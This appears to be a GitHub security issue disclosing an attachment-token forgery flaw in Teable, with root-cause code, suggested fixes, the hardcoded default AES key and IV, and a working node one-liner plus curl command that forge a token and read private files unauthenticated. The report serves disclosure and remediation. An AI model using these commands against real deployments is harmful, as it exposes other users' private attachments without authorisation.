Skip to content

Attachment Token Forgery + Path-Agnostic Access #3624

Description

@AAtomical

Summary

Teable's local storage attachment tokens (/api/attachments/read/:path(*)) contain only {expiresDate, respHeaders} — no file path, no bucket, no user binding. A token issued for file A grants access to any file B in the storage directory.

The encryption key defaults to a hardcoded value (73b00476e456323e, IV 8c9183e4c175f63c, AES-128-CBC). Self-hosted instances that don't override BACKEND_STORAGE_ENCRYPTION_KEY allow unauthenticated token forgery.

Root Cause

// Token payload — no path field
interface ITokenEncryptor {
  expiresDate: number;
  respHeaders?: IRespHeaders;
}

// Verification — only checks expiry, not requested path
verifyReadToken(token: string) {
  const { expiresDate, respHeaders } = this.expireTokenEncryptor.decrypt(token);
  if (expiresDate > 0 && Math.floor(Date.now() / 1000) > expiresDate) throw ...;
  return { respHeaders };
}

Exploit

# Forge a never-expiring token with the default key:
node -e "
const crypto = require('crypto');
const c = crypto.createCipheriv('aes-128-cbc','73b00476e456323e','8c9183e4c175f63c');
process.stdout.write(c.update(JSON.stringify({expiresDate:-1}),'utf-8','hex')+c.final('hex'));
"
# → fa0d33eb58102072b53034a345a22b4cea4a09d1e2310c3a74ee6a4cb920a742

# Read any private attachment without authentication:
curl 'http://<host>:3000/api/attachments/read/private/table/<file-token>?token=fa0d33eb58102072b53034a345a22b4cea4a09d1e2310c3a74ee6a4cb920a742'

Reproduction (docker-compose)

docker compose up -d   # starts teable with default .env (no BACKEND_STORAGE_ENCRYPTION_KEY)
bash exploit.sh        # signup → upload private file → read it back with forged token, zero auth

Output:
image

Impact

  1. Token forgery (unauthed, default-key deployments): full unauthenticated read of all stored private attachments
  2. Token reuse (authed attacker): any valid token reads any other user's private attachments — token has no path binding

Fix

  • Bind the token payload to the specific file path: include bucket + path in ITokenEncryptor and verify them on read
  • Remove the hardcoded default key — require explicit configuration or generate a random key on first boot

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions